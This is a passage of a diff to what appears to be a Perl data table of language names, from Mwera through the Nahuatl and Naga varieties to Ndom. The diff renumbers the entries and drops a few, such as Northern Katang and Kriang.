+   q(4619) => [
       q(Are),
       ],
-   q(4621) => [
+   q(4620) => [
       q(Mwera (Chimwera)),
       ],
-   q(4622) => [
+   q(4621) => [
       q(Murrinh-Patha),
       ],
-   q(4623) => [
+   q(4622) => [
       q(Aiklep),
       ],
-   q(4624) => [
+   q(4623) => [
       q(Mouk-Aria),
       ],
-   q(4625) => [
+   q(4624) => [
       q(Labo),
       q(Ninde),
       ],
-   q(4626) => [
+   q(4625) => [
       q(Kita Maninkakan),
       ],
-   q(4627) => [
+   q(4626) => [
       q(Sar),
       ],
-   q(4628) => [
+   q(4627) => [
       q(Nyamwanga),
       ],
-   q(4629) => [
+   q(4628) => [
       q(Central Maewo),
       ],
-   q(4630) => [
+   q(4629) => [
       q(Kala Lagaw Ya),
       ],
-   q(4631) => [
+   q(4630) => [
       q(Mun Chin),
       ],
-   q(4632) => [
+   q(4631) => [
       q(Mwimbi-Muthambi),
       ],
-   q(4633) => [
+   q(4632) => [
       q(Moken),
       ],
-   q(4634) => [
+   q(4633) => [
       q(Mittu),
       ],
-   q(4635) => [
+   q(4634) => [
       q(Mentawai),
       ],
-   q(4636) => [
+   q(4635) => [
       q(Hmong Daw),
       ],
-   q(4637) => [
+   q(4636) => [
       q(Mediak),
       ],
-   q(4638) => [
+   q(4637) => [
       q(Mosiro),
       ],
-   q(4639) => [
+   q(4638) => [
       q(Moingi),
       ],
-   q(4640) => [
+   q(4639) => [
       q(Northwest Oaxaca Mixtec),
       ],
-   q(4641) => [
+   q(4640) => [
       q(Tezoatlan Mixtec),
       ],
-   q(4642) => [
+   q(4641) => [
       q(Manyika),
       ],
-   q(4643) => [
+   q(4642) => [
       q(Modang),
       ],
-   q(4644) => [
+   q(4643) => [
       q(Mele-Fila),
       ],
-   q(4645) => [
+   q(4644) => [
       q(Malgbe),
       ],
-   q(4646) => [
+   q(4645) => [
       q(Mbangala),
       ],
-   q(4647) => [
+   q(4646) => [
       q(Mvuba),
       ],
-   q(4648) => [
+   q(4647) => [
       q(Mozarabic),
       ],
-   q(4649) => [
+   q(4648) => [
       q(Miju-Mishmi),
       q(Geman Deng),
       ],
-   q(4650) => [
+   q(4649) => [
       q(Monumbo),
       ],
-   q(4651) => [
+   q(4650) => [
       q(Maxi Gbe),
       ],
-   q(4652) => [
+   q(4651) => [
       q(Meramera),
       ],
-   q(4653) => [
+   q(4652) => [
       q(Moi (Indonesia)),
       ],
-   q(4654) => [
+   q(4653) => [
       q(Mbowe),
       ],
-   q(4655) => [
+   q(4654) => [
       q(Tlahuitoltepec Mixe),
       ],
-   q(4656) => [
+   q(4655) => [
       q(Juquila Mixe),
       ],
-   q(4657) => [
+   q(4656) => [
       q(Murik (Malaysia)),
       ],
-   q(4658) => [
+   q(4657) => [
       q(Huitepec Mixtec),
       ],
-   q(4659) => [
+   q(4658) => [
       q(Jamiltepec Mixtec),
       ],
-   q(4660) => [
+   q(4659) => [
       q(Mada (Cameroon)),
       ],
-   q(4661) => [
+   q(4660) => [
       q(Metlatonoc Mixtec),
       ],
-   q(4662) => [
+   q(4661) => [
       q(Namo),
       ],
-   q(4663) => [
+   q(4662) => [
       q(Mahou),
       q(Mawukakan),
       ],
-   q(4664) => [
+   q(4663) => [
       q(Southeastern Nochixtlan Mixtec),
       ],
-   q(4665) => [
+   q(4664) => [
       q(Central Masela),
       ],
-   q(4666) => [
+   q(4665) => [
       q(Mbay),
       ],
-   q(4667) => [
+   q(4666) => [
       q(Mayeka),
       ],
-   q(4668) => [
+   q(4667) => [
       q(Maramba),
       ],
-   q(4669) => [
+   q(4668) => [
       q(Myene),
       ],
-   q(4670) => [
+   q(4669) => [
       q(Bambassi),
       ],
-   q(4671) => [
+   q(4670) => [
       q(Manta),
       ],
-   q(4672) => [
+   q(4671) => [
       q(Makah),
       ],
-   q(4673) => [
+   q(4672) => [
       q(Mina (India)),
       ],
-   q(4674) => [
+   q(4673) => [
       q(Mangayat),
       ],
-   q(4675) => [
+   q(4674) => [
       q(Mamara Senoufo),
       ],
-   q(4676) => [
+   q(4675) => [
       q(Moma),
       ],
-   q(4677) => [
+   q(4676) => [
       q(Me'en),
       ],
-   q(4678) => [
+   q(4677) => [
       q(Anfillo),
       ],
-   q(4679) => [
+   q(4678) => [
       q(Piraha),
       ],
-   q(4680) => [
+   q(4679) => [
       q(Muniche),
       ],
-   q(4681) => [
+   q(4680) => [
       q(Mesmes),
       ],
-   q(4682) => [
+   q(4681) => [
       q(Munduruku),
       ],
-   q(4683) => [
+   q(4682) => [
       q(Muyuw),
       ],
-   q(4684) => [
+   q(4683) => [
       q(Masaaba),
       ],
-   q(4685) => [
+   q(4684) => [
       q(Macuna),
       ],
-   q(4686) => [
+   q(4685) => [
       q(Classical Mandaic),
       ],
-   q(4687) => [
+   q(4686) => [
       q(Santa Maria Zacatepec Mixtec),
       ],
-   q(4688) => [
+   q(4687) => [
       q(Tumzabt),
       ],
-   q(4689) => [
+   q(4688) => [
       q(Madagascar Sign Language),
       ],
-   q(4690) => [
+   q(4689) => [
       q(Malimba),
       ],
-   q(4691) => [
+   q(4690) => [
       q(Morawa),
       ],
-   q(4692) => [
+   q(4691) => [
       q(Monastic Sign Language),
       ],
-   q(4693) => [
+   q(4692) => [
       q(Wichi Lhamtes Guisnay),
       ],
-   q(4694) => [
+   q(4693) => [
       q(Ixcatlan Mazatec),
       ],
-   q(4695) => [
+   q(4694) => [
       q(Manya),
       ],
-   q(4696) => [
+   q(4695) => [
       q(Nigeria Mambila),
       ],
-   q(4697) => [
+   q(4696) => [
       q(Mazatlan Mixe),
       ],
-   q(4698) => [
+   q(4697) => [
       q(Mumuye),
       ],
-   q(4699) => [
+   q(4698) => [
       q(Mazanderani),
       ],
-   q(4700) => [
+   q(4699) => [
       q(Matipuhy),
       ],
-   q(4701) => [
+   q(4700) => [
       q(Movima),
       ],
-   q(4702) => [
+   q(4701) => [
       q(Mori Atas),
       ],
-   q(4703) => [
+   q(4702) => [
       q(Marubo),
       ],
-   q(4704) => [
+   q(4703) => [
       q(Macanese),
       ],
-   q(4705) => [
+   q(4704) => [
       q(Mintil),
       ],
-   q(4706) => [
+   q(4705) => [
       q(Inapang),
       ],
-   q(4707) => [
+   q(4706) => [
       q(Manza),
       ],
-   q(4708) => [
+   q(4707) => [
       q(Deg),
       ],
-   q(4709) => [
+   q(4708) => [
       q(Mawayana),
       ],
-   q(4710) => [
+   q(4709) => [
       q(Mozambican Sign Language),
       ],
-   q(4711) => [
+   q(4710) => [
       q(Maiadomu),
       ],
-   q(4712) => [
+   q(4711) => [
       q(Namla),
       ],
-   q(4713) => [
+   q(4712) => [
       q(Southern Nambikuara),
       ],
-   q(4714) => [
+   q(4713) => [
       q(Narak),
       ],
-   q(4715) => [
+   q(4714) => [
       q(Naka'ela),
       ],
-   q(4716) => [
+   q(4715) => [
       q(Nabak),
       ],
-   q(4717) => [
+   q(4716) => [
       q(Naga Pidgin),
       ],
-   q(4718) => [
+   q(4717) => [
       q(Nalu),
       ],
-   q(4719) => [
+   q(4718) => [
       q(Nakanai),
       ],
-   q(4720) => [
+   q(4719) => [
       q(Nalik),
       ],
-   q(4721) => [
+   q(4720) => [
       q(Ngan'gityemerri),
       ],
-   q(4722) => [
+   q(4721) => [
       q(Min Nan Chinese),
       ],
-   q(4723) => [
+   q(4722) => [
       q(Naaba),
       ],
-   q(4724) => [
+   q(4723) => [
       q(Khoekhoe),
       q(Nama (Namibia)),
       ],
-   q(4725) => [
+   q(4724) => [
       q(Iguta),
       ],
-   q(4726) => [
+   q(4725) => [
       q(Naasioi),
       ],
-   q(4727) => [
+   q(4726) => [
       q(Cahungwarya),
       q(Hungworo),
       ],
-   q(4728) => [
+   q(4727) => [
       q(Nawuri),
       ],
-   q(4729) => [
+   q(4728) => [
       q(Nakwi),
       ],
-   q(4730) => [
+   q(4729) => [
       q(Narrinyeri),
       ],
-   q(4731) => [
+   q(4730) => [
       q(Coatepec Nahuatl),
       ],
-   q(4732) => [
+   q(4731) => [
       q(Nyemba),
       ],
-   q(4733) => [
+   q(4732) => [
       q(Ndoe),
       ],
-   q(4734) => [
+   q(4733) => [
       q(Chang Naga),
       ],
-   q(4735) => [
+   q(4734) => [
       q(Ngbinda),
       ],
-   q(4736) => [
+   q(4735) => [
       q(Konyak Naga),
       ],
-   q(4737) => [
+   q(4736) => [
       q(Nagarchal),
       ],
-   q(4738) => [
+   q(4737) => [
       q(Ngamo),
       ],
-   q(4739) => [
+   q(4738) => [
       q(Mao Naga),
       ],
-   q(4740) => [
+   q(4739) => [
       q(Ngarinman),
       ],
-   q(4741) => [
+   q(4740) => [
       q(Nake),
       ],
-   q(4742) => [
+   q(4741) => [
       q(Ngbaka Ma'bo),
       ],
-   q(4743) => [
+   q(4742) => [
       q(Kuri),
       ],
-   q(4744) => [
+   q(4743) => [
       q(Nkukoli),
       ],
-   q(4745) => [
+   q(4744) => [
       q(Nnam),
       ],
-   q(4746) => [
+   q(4745) => [
       q(Nggem),
       ],
-   q(4747) => [
+   q(4746) => [
       q(Numana-Nunku-Gbantu-Numbu),
       ],
-   q(4748) => [
+   q(4747) => [
       q(Namibian Sign Language),
       ],
-   q(4749) => [
+   q(4748) => [
       q(Na),
       ],
-   q(4750) => [
+   q(4749) => [
       q(Rongmei Naga),
       ],
-   q(4751) => [
+   q(4750) => [
       q(Ngamambo),
       ],
-   q(4752) => [
+   q(4751) => [
       q(Southern Ngbandi),
       ],
-   q(4753) => [
+   q(4752) => [
       q(Ningera),
       ],
-   q(4754) => [
+   q(4753) => [
       q(Iyo),
       ],
-   q(4755) => [
+   q(4754) => [
       q(Central Nicobarese),
       ],
-   q(4756) => [
+   q(4755) => [
       q(Ponam),
       ],
-   q(4757) => [
+   q(4756) => [
       q(Nachering),
       ],
-   q(4758) => [
+   q(4757) => [
       q(Yale),
       ],
-   q(4759) => [
+   q(4758) => [
       q(Notsi),
       ],
-   q(4760) => [
+   q(4759) => [
       q(Nisga'a),
       ],
-   q(4761) => [
+   q(4760) => [
       q(Central Huasteca Nahuatl),
       ],
-   q(4762) => [
+   q(4761) => [
       q(Classical Nahuatl),
       ],
-   q(4763) => [
+   q(4762) => [
       q(Northern Puebla Nahuatl),
       ],
-   q(4764) => [
+   q(4763) => [
       q(Nakara),
       ],
-   q(4765) => [
+   q(4764) => [
       q(Michoacan Nahuatl),
       ],
-   q(4766) => [
+   q(4765) => [
       q(Nambo),
       ],
-   q(4767) => [
+   q(4766) => [
       q(Nauna),
       ],
-   q(4768) => [
+   q(4767) => [
       q(Sibe),
       ],
-   q(4769) => [
+   q(4768) => [
       q(Ndaktup),
       ],
-   q(4770) => [
-      q(Northern Katang),
-      ],
-   q(4771) => [
+   q(4769) => [
       q(Ncane),
       ],
-   q(4772) => [
+   q(4770) => [
       q(Nicaraguan Sign Language),
       ],
-   q(4773) => [
+   q(4771) => [
       q(Chothe Naga),
       ],
-   q(4774) => [
+   q(4772) => [
       q(Chumburung),
       ],
-   q(4775) => [
+   q(4773) => [
       q(Central Puebla Nahuatl),
       ],
-   q(4776) => [
+   q(4774) => [
       q(Natchez),
       ],
-   q(4777) => [
+   q(4775) => [
       q(Ndasa),
       ],
-   q(4778) => [
+   q(4776) => [
       q(Kenswei Nsei),
       ],
-   q(4779) => [
+   q(4777) => [
       q(Ndau),
       ],
-   q(4780) => [
+   q(4778) => [
       q(Nde-Nsele-Nta),
       ],
-   q(4781) => [
+   q(4779) => [
       q(Nadruvian),
       ],
-   q(4782) => [
+   q(4780) => [
       q(Ndengereko),
       ],
-   q(4783) => [
+   q(4781) => [
       q(Ndali),
       ],
-   q(4784) => [
+   q(4782) => [
       q(Samba Leko),
       ],
-   q(4785) => [
+   q(4783) => [
       q(Ndamba),
       ],
-   q(4786) => [
+   q(4784) => [
       q(Ndaka),
       ],
-   q(4787) => [
+   q(4785) => [
       q(Ndolo),
       ],
-   q(4788) => [
+   q(4786) => [
       q(Ndam),
       ],
-   q(4789) => [
+   q(4787) => [
       q(Ngundi),
       ],
-   q(4790) => [
+   q(4788) => [
       q(Ndo),
       ],
-   q(4791) => [
+   q(4789) => [
       q(Ndombe),
       ],
-   q(4792) => [
+   q(4790) => [
       q(Ndoola),
       ],
-   q(4793) => [
+   q(4791) => [
       q(Ndunga),
       ],
-   q(4794) => [
+   q(4792) => [
       q(Dugun),
       ],
-   q(4795) => [
+   q(4793) => [
       q(Ndut),
       ],
-   q(4796) => [
+   q(4794) => [
       q(Ndobo),
       ],
-   q(4797) => [
+   q(4795) => [
       q(Nduga),
       ],
-   q(4798) => [
+   q(4796) => [
       q(Lutos),
       ],
-   q(4799) => [
+   q(4797) => [
       q(Ndogo),
       ],
-   q(4800) => [
+   q(4798) => [
       q(Eastern Ngad'a),
       ],
-   q(4801) => [
+   q(4799) => [
       q(Toura (Cote d'Ivoire)),
       ],
-   q(4802) => [
+   q(4800) => [
       q(Nedebang),
       ],
-   q(4803) => [
+   q(4801) => [
       q(Nde-Gbite),
       ],
-   q(4804) => [
+   q(4802) => [
       q(Nelemwa-Nixumwak),
       ],
-   q(4805) => [
+   q(4803) => [
       q(Nefamese),
       ],
-   q(4806) => [
+   q(4804) => [
       q(Negidal),
       ],
-   q(4807) => [
+   q(4805) => [
       q(Nyenkha),
       ],
-   q(4808) => [
+   q(4806) => [
       q(Neo-Hittite),
       ],
-   q(4809) => [
+   q(4807) => [
       q(Neko),
       ],
-   q(4810) => [
+   q(4808) => [
       q(Neku),
       ],
-   q(4811) => [
+   q(4809) => [
       q(Nemi),
       ],
-   q(4812) => [
+   q(4810) => [
       q(Nengone),
       ],
-   q(4813) => [
+   q(4811) => [
       q(Na-Meo),
       ],
-   q(4814) => [
+   q(4812) => [
       q(North Central Mixe),
       ],
-   q(4815) => [
+   q(4813) => [
       q(Yahadian),
       ],
-   q(4816) => [
+   q(4814) => [
       q(Bhoti Kinnauri),
       ],
-   q(4817) => [
+   q(4815) => [
       q(Nete),
       ],
-   q(4818) => [
+   q(4816) => [
       q(Neo),
       ],
-   q(4819) => [
+   q(4817) => [
       q(Nyaheun),
       ],
-   q(4820) => [
+   q(4818) => [
       q(Neme),
       ],
-   q(4821) => [
+   q(4819) => [
       q(Neyo),
       ],
-   q(4822) => [
+   q(4820) => [
       q(Nez Perce),
       ],
-   q(4823) => [
+   q(4821) => [
       q(Dhao),
       ],
-   q(4824) => [
+   q(4822) => [
       q(Ahwai),
       ],
-   q(4825) => [
+   q(4823) => [
       q(Ayiwo),
       q(Aiwoo),
       ],
-   q(4826) => [
+   q(4824) => [
       q(Nafaanra),
       ],
-   q(4827) => [
+   q(4825) => [
       q(Mfumte),
       ],
-   q(4828) => [
+   q(4826) => [
       q(Ngbaka),
       ],
-   q(4829) => [
+   q(4827) => [
       q(Northern Ngbandi),
       ],
-   q(4830) => [
+   q(4828) => [
       q(Ngombe (Democratic Republic of Congo)),
       ],
-   q(4831) => [
+   q(4829) => [
       q(Ngando (Central African Republic)),
       ],
-   q(4832) => [
+   q(4830) => [
       q(Ngemba),
       ],
-   q(4833) => [
+   q(4831) => [
       q(Ngbaka Manza),
       ],
-   q(4834) => [
+   q(4832) => [
       q(N/u),
       q(Nu),
       ],
-   q(4835) => [
+   q(4833) => [
       q(Ngizim),
       ],
-   q(4836) => [
+   q(4834) => [
       q(Ngie),
       ],
-   q(4837) => [
+   q(4835) => [
       q(Dalabon),
       ],
-   q(4838) => [
+   q(4836) => [
       q(Lomwe),
       ],
-   q(4839) => [
+   q(4837) => [
       q(Ngatik Men's Creole),
       ],
-   q(4840) => [
+   q(4838) => [
       q(Ngwo),
       ],
-   q(4841) => [
+   q(4839) => [
       q(Ngoni),
       ],
-   q(4842) => [
+   q(4840) => [
       q(Ngulu),
       ],
-   q(4843) => [
+   q(4841) => [
       q(Ngurimi),
       q(Ngoreme),
       ],
-   q(4844) => [
+   q(4842) => [
       q(Engdewu),
       ],
-   q(4845) => [
+   q(4843) => [
       q(Gvoko),
       ],
-   q(4846) => [
-      q(Kriang),
+   q(4844) => [
       q(Ngeq),
       ],
-   q(4847) => [
+   q(4845) => [
       q(Guerrero Nahuatl),
       ],
-   q(4848) => [
+   q(4846) => [
       q(Nagumi),
       ],
-   q(4849) => [
+   q(4847) => [
       q(Ngwaba),
       ],
-   q(4850) => [
+   q(4848) => [
       q(Nggwahyi),
       ],
-   q(4851) => [
+   q(4849) => [
       q(Tibea),
       ],
-   q(4852) => [
+   q(4850) => [
       q(Ngungwel),
       ],
-   q(4853) => [
+   q(4851) => [
       q(Nhanda),
       ],
-   q(4854) => [
+   q(4852) => [
       q(Beng),
       ],
-   q(4855) => [
+   q(4853) => [
       q(Tabasco Nahuatl),
       ],
-   q(4856) => [
+   q(4854) => [
       q(Chiripa),
       q(Ava Guarani),
       ],
-   q(4857) => [
+   q(4855) => [
       q(Eastern Huasteca Nahuatl),
       ],
-   q(4858) => [
+   q(4856) => [
       q(Nhuwala),
       ],
-   q(4859) => [
+   q(4857) => [
       q(Tetelcingo Nahuatl),
       ],
-   q(4860) => [
+   q(4858) => [
       q(Nahari),
       ],
-   q(4861) => [
+   q(4859) => [
       q(Zacatlan-Ahuacatlan-Tepetzintla Nahuatl),
       ],
-   q(4862) => [
+   q(4860) => [
       q(Isthmus-Cosoleacaque Nahuatl),
       ],
-   q(4863) => [
+   q(4861) => [
       q(Morelos Nahuatl),
       ],
-   q(4864) => [
+   q(4862) => [
       q(Central Nahuatl),
       ],
-   q(4865) => [
+   q(4863) => [
       q(Takuu),
       ],
-   q(4866) => [
+   q(4864) => [
       q(Isthmus-Pajapan Nahuatl),
       ],
-   q(4867) => [
+   q(4865) => [
       q(Huaxcaleca Nahuatl),
       ],
-   q(4868) => [
+   q(4866) => [
       q(Naro),
       ],
-   q(4869) => [
+   q(4867) => [
       q(Ometepec Nahuatl),
       ],
-   q(4870) => [
+   q(4868) => [
       q(Noone),
       ],
-   q(4871) => [
+   q(4869) => [
       q(Temascaltepec Nahuatl),
       ],
-   q(4872) => [
+   q(4870) => [
       q(Western Huasteca Nahuatl),
       ],
-   q(4873) => [
+   q(4871) => [
       q(Isthmus-Mecayapan Nahuatl),
       ],
-   q(4874) => [
+   q(4872) => [
       q(Northern Oaxaca Nahuatl),
       ],
-   q(4875) => [
+   q(4873) => [
       q(Santa Maria La Alta Nahuatl),
       ],
-   q(4876) => [
+   q(4874) => [
       q(Nakame),
       ],
-   q(4877) => [
+   q(4875) => [
       q(Ngandi),
       ],
-   q(4878) => [
+   q(4876) => [
       q(Niellim),
       ],
-   q(4879) => [
+   q(4877) => [
       q(Nek),
       ],
-   q(4880) => [
+   q(4878) => [
       q(Ngalakan),
       ],
-   q(4881) => [
+   q(4879) => [
       q(Nyiha (Tanzania)),
       ],
-   q(4882) => [
+   q(4880) => [
       q(Nii),
       ],
-   q(4883) => [
+   q(4881) => [
       q(Ngaju),
       ],
-   q(4884) => [
+   q(4882) => [
       q(Southern Nicobarese),
       ],
-   q(4885) => [
+   q(4883) => [
       q(Nila),
       ],
-   q(4886) => [
+   q(4884) => [
       q(Nilamba),
       ],
-   q(4887) => [
+   q(4885) => [
       q(Ninzo),
       ],
-   q(4888) => [
+   q(4886) => [
       q(Nganasan),
       ],
-   q(4889) => [
+   q(4887) => [
       q(Nandi),
       ],
-   q(4890) => [
+   q(4888) => [
       q(Nimboran),
       ],
-   q(4891) => [
+   q(4889) => [
       q(Nimi),
       ],
-   q(4892) => [
+   q(4890) => [
       q(Southeastern Kolami),
       ],
-   q(4893) => [
+   q(4891) => [
       q(Gilyak),
       ],
-   q(4894) => [
+   q(4892) => [
       q(Nimo),
       ],
-   q(4895) => [
+   q(4893) => [
       q(Hema),
       ],
-   q(4896) => [
+   q(4894) => [
       q(Ngiti),
       ],
-   q(4897) => [
+   q(4895) => [
       q(Ningil),
       ],
-   q(4898) => [
+   q(4896) => [
       q(Nzanyi),
       ],
-   q(4899) => [
+   q(4897) => [
       q(Nocte Naga),
       ],
-   q(4900) => [
+   q(4898) => [
       q(Ndonde Hamba),
       ],
-   q(4901) => [
+   q(4899) => [
       q(Lotha Naga),
       ],
-   q(4902) => [
+   q(4900) => [
       q(Gudanji),
       ],
-   q(4903) => [
+   q(4901) => [
       q(Njen),
       ],
-   q(4904) => [
+   q(4902) => [
       q(Njalgulgule),
       ],
-   q(4905) => [
+   q(4903) => [
       q(Angami Naga),
       ],
-   q(4906) => [
+   q(4904) => [
       q(Liangmai Naga),
       ],
-   q(4907) => [
+   q(4905) => [
       q(Ao Naga),
       ],
-   q(4908) => [
+   q(4906) => [
       q(Njerep),
       ],
-   q(4909) => [
+   q(4907) => [
       q(Nisa),
       ],
-   q(4910) => [
+   q(4908) => [
       q(Ndyuka-Trio Pidgin),
       ],
-   q(4911) => [
+   q(4909) => [
       q(Ngadjunmaya),
       ],
-   q(4912) => [
+   q(4910) => [
       q(Kunyi),
       ],
-   q(4913) => [
+   q(4911) => [
       q(Njyem),
       ],
-   q(4914) => [
+   q(4912) => [
       q(Nyishi),
       ],
-   q(4915) => [
+   q(4913) => [
       q(Nkoya),
       ],
-   q(4916) => [
+   q(4914) => [
       q(Khoibu Naga),
       ],
-   q(4917) => [
+   q(4915) => [
       q(Nkongho),
       ],
-   q(4918) => [
+   q(4916) => [
       q(Koireng),
       ],
-   q(4919) => [
+   q(4917) => [
       q(Duke),
       ],
-   q(4920) => [
+   q(4918) => [
       q(Inpui Naga),
       ],
-   q(4921) => [
+   q(4919) => [
       q(Nekgini),
       ],
-   q(4922) => [
+   q(4920) => [
       q(Khezha Naga),
       ],
-   q(4923) => [
+   q(4921) => [
       q(Thangal Naga),
       ],
-   q(4924) => [
+   q(4922) => [
       q(Nakai),
       ],
-   q(4925) => [
+   q(4923) => [
       q(Nokuku),
       ],
-   q(4926) => [
+   q(4924) => [
       q(Namat),
       ],
-   q(4927) => [
+   q(4925) => [
       q(Nkangala),
       ],
-   q(4928) => [
+   q(4926) => [
       q(Nkonya),
       ],
-   q(4929) => [
+   q(4927) => [
       q(Niuatoputapu),
       ],
-   q(4930) => [
+   q(4928) => [
       q(Nkami),
       ],
-   q(4931) => [
+   q(4929) => [
       q(Nukuoro),
       ],
-   q(4932) => [
+   q(4930) => [
       q(North Asmat),
       ],
-   q(4933) => [
+   q(4931) => [
       q(Nyika (Tanzania)),
       ],
-   q(4934) => [
+   q(4932) => [
       q(Bouna Kulango),
       ],
-   q(4935) => [
+   q(4933) => [
       q(Nyika (Malawi and Zambia)),
       ],
-   q(4936) => [
+   q(4934) => [
       q(Nkutu),
       ],
-   q(4937) => [
+   q(4935) => [
       q(Nkoroo),
       ],
-   q(4938) => [
+   q(4936) => [
       q(Nkari),
       ],
-   q(4939) => [
+   q(4937) => [
       q(Ngombale),
       ],
-   q(4940) => [
+   q(4938) => [
       q(Nalca),
       ],
-   q(4941) => [
+   q(4939) => [
       q(East Nyala),
       ],
-   q(4942) => [
+   q(4940) => [
       q(Gela),
       ],
-   q(4943) => [
+   q(4941) => [
       q(Grangali),
       ],
-   q(4944) => [
+   q(4942) => [
       q(Nyali),
       ],
-   q(4945) => [
+   q(4943) => [
       q(Ninia Yali),
       ],
-   q(4946) => [
+   q(4944) => [
       q(Nihali),
       ],
-   q(4947) => [
+   q(4945) => [
       q(Ngul),
       ],
-   q(4948) => [
+   q(4946) => [
       q(Lao Naga),
       ],
-   q(4949) => [
+   q(4947) => [
       q(Nchumbulu),
       ],
-   q(4950) => [
+   q(4948) => [
       q(Orizaba Nahuatl),
       ],
-   q(4951) => [
+   q(4949) => [
       q(Walangama),
       ],
-   q(4952) => [
+   q(4950) => [
       q(Nahali),
       ],
-   q(4953) => [
+   q(4951) => [
       q(Nyamal),
       ],
-   q(4954) => [
+   q(4952) => [
       q(Nalogo),
       ],
-   q(4955) => [
+   q(4953) => [
       q(Maram Naga),
       ],
-   q(4956) => [
+   q(4954) => [
       q(Big Nambas),
       q(V'enen Taut),
       ],
-   q(4957) => [
+   q(4955) => [
       q(Ngam),
       ],
-   q(4958) => [
+   q(4956) => [
       q(Ndumu),
       ],
-   q(4959) => [
+   q(4957) => [
       q(Mzieme Naga),
       ],
-   q(4960) => [
+   q(4958) => [
       q(Tangkhul Naga (India)),
       ],
-   q(4961) => [
+   q(4959) => [
       q(Kwasio),
       ],
-   q(4962) => [
+   q(4960) => [
       q(Monsang Naga),
       ],
-   q(4963) => [
+   q(4961) => [
       q(Nyam),
       ],
-   q(4964) => [
+   q(4962) => [
       q(Ngombe (Central African Republic)),
       ],
-   q(4965) => [
+   q(4963) => [
       q(Namakura),
       ],
-   q(4966) => [
+   q(4964) => [
       q(Ndemli),
       ],
-   q(4967) => [
+   q(4965) => [
       q(Manangba),
       ],
-   q(4968) => [
+   q(4966) => [
       q(!Xoo),
       q(Xoo),
       ],
-   q(4969) => [
+   q(4967) => [
       q(Moyon Naga),
       ],
-   q(4970) => [
+   q(4968) => [
       q(Nimanbur),
       ],
-   q(4971) => [
+   q(4969) => [
       q(Nambya),
       ],
-   q(4972) => [
+   q(4970) => [
       q(Nimbari),
       ],
-   q(4973) => [
+   q(4971) => [
       q(Letemboi),
       ],
-   q(4974) => [
+   q(4972) => [
       q(Namonuito),
       ],
-   q(4975) => [
+   q(4973) => [
       q(Northeast Maidu),
       ],
-   q(4976) => [
+   q(4974) => [
       q(Ngamini),
       ],
-   q(4977) => [
+   q(4975) => [
       q(Nimoa),
       q(Rifao),
       ],
-   q(4978) => [
+   q(4976) => [
       q(Nama (Papua New Guinea)),
       ],
-   q(4979) => [
+   q(4977) => [
       q(Namuyi),
       ],
-   q(4980) => [
+   q(4978) => [
       q(Nawdm),
       ],
-   q(4981) => [
+   q(4979) => [
       q(Nyangumarta),
       ],
-   q(4982) => [
+   q(4980) => [
       q(Nande),
       ],
-   q(4983) => [
+   q(4981) => [
       q(Nancere),
       ],
-   q(4984) => [
+   q(4982) => [
       q(West Ambae),
       ],
-   q(4985) => [
+   q(4983) => [
       q(Ngandyera),
       ],
-   q(4986) => [
+   q(4984) => [
       q(Ngaing),
       ],
-   q(4987) => [
+   q(4985) => [
       q(Maring Naga),
       ],
-   q(4988) => [
+   q(4986) => [
       q(Ngiemboon),
       ],
-   q(4989) => [
+   q(4987) => [
       q(North Nuaulu),
       ],
-   q(4990) => [
+   q(4988) => [
       q(Nyangatom),
       ],
-   q(4991) => [
+   q(4989) => [
       q(Nankina),
       ],
-   q(4992) => [
+   q(4990) => [
       q(Northern Rengma Naga),
       ],
-   q(4993) => [
+   q(4991) => [
       q(Namia),
       ],
-   q(4994) => [
+   q(4992) => [
       q(Ngete),
       ],
-   q(4995) => [
+   q(4993) => [
       q(Wancho Naga),
       ],
-   q(4996) => [
+   q(4994) => [
       q(Ngindo),
       ],
-   q(4997) => [
+   q(4995) => [
       q(Narungga),
       ],
-   q(4998) => [
+   q(4996) => [
       q(Ningye),
       ],
-   q(4999) => [
+   q(4997) => [
       q(Nanticoke),
       ],
-   q(5000) => [
+   q(4998) => [
       q(Dwang),
       ],
-   q(5001) => [
+   q(4999) => [
       q(Nugunu (Australia)),
       ],
-   q(5002) => [
+   q(5000) => [
       q(Southern Nuni),
       ],
-   q(5003) => [
+   q(5001) => [
       q(Nyangga),
       ],
-   q(5004) => [
+   q(5002) => [
       q(Nda'nda'),
       ],
-   q(5005) => [
+   q(5003) => [
       q(Woun Meu),
       ],
-   q(5006) => [
+   q(5004) => [
       q(Nuk),
       ],
-   q(5007) => [
+   q(5005) => [
       q(Northern Thai),
       ],
-   q(5008) => [
+   q(5006) => [
       q(Nimadi),
       ],
-   q(5009) => [
+   q(5007) => [
       q(Nomane),
       ],
-   q(5010) => [
+   q(5008) => [
       q(Nomu),
       ],
-   q(5011) => [
+   q(5009) => [
       q(Noiri),
       ],
-   q(5012) => [
+   q(5010) => [
       q(Nonuya),
       ],
-   q(5013) => [
+   q(5011) => [
       q(Nooksack),
       ],
-   q(5014) => [
+   q(5012) => [
       q(Nomlaki),
       ],
-   q(5015) => [
+   q(5013) => [
       q(Nocaman),
       ],
-   q(5016) => [
+   q(5014) => [
       q(Numanggang),
       ],
-   q(5017) => [
+   q(5015) => [
       q(Ngongo),
       ],
-   q(5018) => [
+   q(5016) => [
       q(Eastern Nisu),
       ],
-   q(5019) => [
+   q(5017) => [
       q(Nomatsiguenga),
       ],
-   q(5020) => [
+   q(5018) => [
       q(Ewage-Notu),
       ],
-   q(5021) => [
+   q(5019) => [
       q(Novial),
       ],
-   q(5022) => [
+   q(5020) => [
       q(Nyambo),
       ],
-   q(5023) => [
+   q(5021) => [
       q(Noy),
       ],
-   q(5024) => [
+   q(5022) => [
       q(Nayi),
       ],
-   q(5025) => [
+   q(5023) => [
       q(Nar Phu),
       ],
-   q(5026) => [
+   q(5024) => [
       q(Nupbikha),
       ],
-   q(5027) => [
+   q(5025) => [
       q(Ponyo-Gongwang Naga),
       ],
-   q(5028) => [
+   q(5026) => [
       q(Phom Naga),
       ],
-   q(5029) => [
+   q(5027) => [
       q(Nepali (individual language)),
       ],
-   q(5030) => [
+   q(5028) => [
       q(Southeastern Puebla Nahuatl),
       ],
-   q(5031) => [
+   q(5029) => [
       q(Mondropolon),
       ],
-   q(5032) => [
+   q(5030) => [
       q(Pochuri Naga),
       ],
-   q(5033) => [
+   q(5031) => [
       q(Nipsan),
       ],
-   q(5034) => [
+   q(5032) => [
       q(Puimei Naga),
       ],
-   q(5035) => [
-      q(Noipx),
-      ],
-   q(5036) => [
+   q(5033) => [
       q(Napu),
       ],
-   q(5037) => [
+   q(5034) => [
       q(Southern Nago),
       ],
-   q(5038) => [
+   q(5035) => [
       q(Kura Ede Nago),
       ],
-   q(5039) => [
-      q(Ngendelengo),
-      ],
-   q(5040) => [
+   q(5036) => [
       q(Ndom),
